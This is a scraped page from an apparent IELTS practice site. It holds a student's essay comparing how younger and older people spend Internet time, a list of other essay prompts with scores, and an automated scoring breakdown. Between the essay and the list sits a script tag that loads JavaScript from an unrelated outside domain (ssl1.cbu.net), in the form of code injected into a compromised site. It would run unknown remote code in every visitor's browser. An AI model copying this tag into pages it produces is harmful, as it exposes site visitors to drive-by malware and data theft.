The charts below show the percentage of time younger and older people spend on various Internet activities in their free time.
Given are the pie-charts providing the distribution of time spent on the Internet by the young and old generation. It is clearly visible that the proportions of each group marginally differ.
A glance at the chart reveals that, the majority of people (24%) between 18 and 26 visit social networks while older people who are included into the 60-70 age groups prefer to book places at cinemas, travel etc. Furthermore, the second biggest share in terms of younger generations belongs to accessing media files with 21 % and it is marginally ahead of researches on the Internet (20 %). According to the first chart it can also be observed that, they spent 18 % of their time on playing games followed by purchasing some goods and booking places which indicates 12 % and 5 %, respectively.
In comparison with the young, older people are more likely to spend vast of their time on researching (26 %) and consuming goods (14%), whereas the other percentages showing playing games (6 %) and visiting social networks (8%) are almost three times less than younger people.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The charts below show the levels of participation in education and science in developing and inustrialised countries in 1980 and 1990 80
- The graph below shows the unemployment rates in the US and Japan between March 1993 and March 1999. 65
- Improvements in health, education andtrade are essential for the developmentof poorer nations. However, the governments of richer nations should take more responsibility for helping the poorer nations in such areas. To what extent do you agree or disagree 80
- Some employers reward members of staff for their expectional contribution to the company by giving them extra money This practice can act as an incentive for some but may also have a negative impact on others To what extent is this style effective Are the 85
- " The table shows the figure for imprisonment in five countries between 1930 and 1980." 70
flaws:
Avg. Sentence Length: 35 21.0
Attribute Value Ideal
Score: 7.5 out of 9
Category: Very Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 5 10
No. of Words: 175 200
No. of Characters: 846 1000
No. of Different Words: 114 100
Fourth Root of Number of Words: 3.637 4.0
Average Word Length: 4.834 4.6
Word Length SD: 2.619 2.4
No. of Words greater than 5 chars: 58 60
No. of Words greater than 6 chars: 42 50
No. of Words greater than 7 chars: 28 40
No. of Words greater than 8 chars: 19 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 35 21.0
Sentence Length SD: 19.121 7.5
Use of Discourse Markers (%): 0.6 0.12
Sentence-Text Coherence: 0.482 0.35
Sentence-Para Coherence: 0.762 0.50
Sentence-Sentence Coherence: 0.07 0.07
Number of Paragraphs: 3 4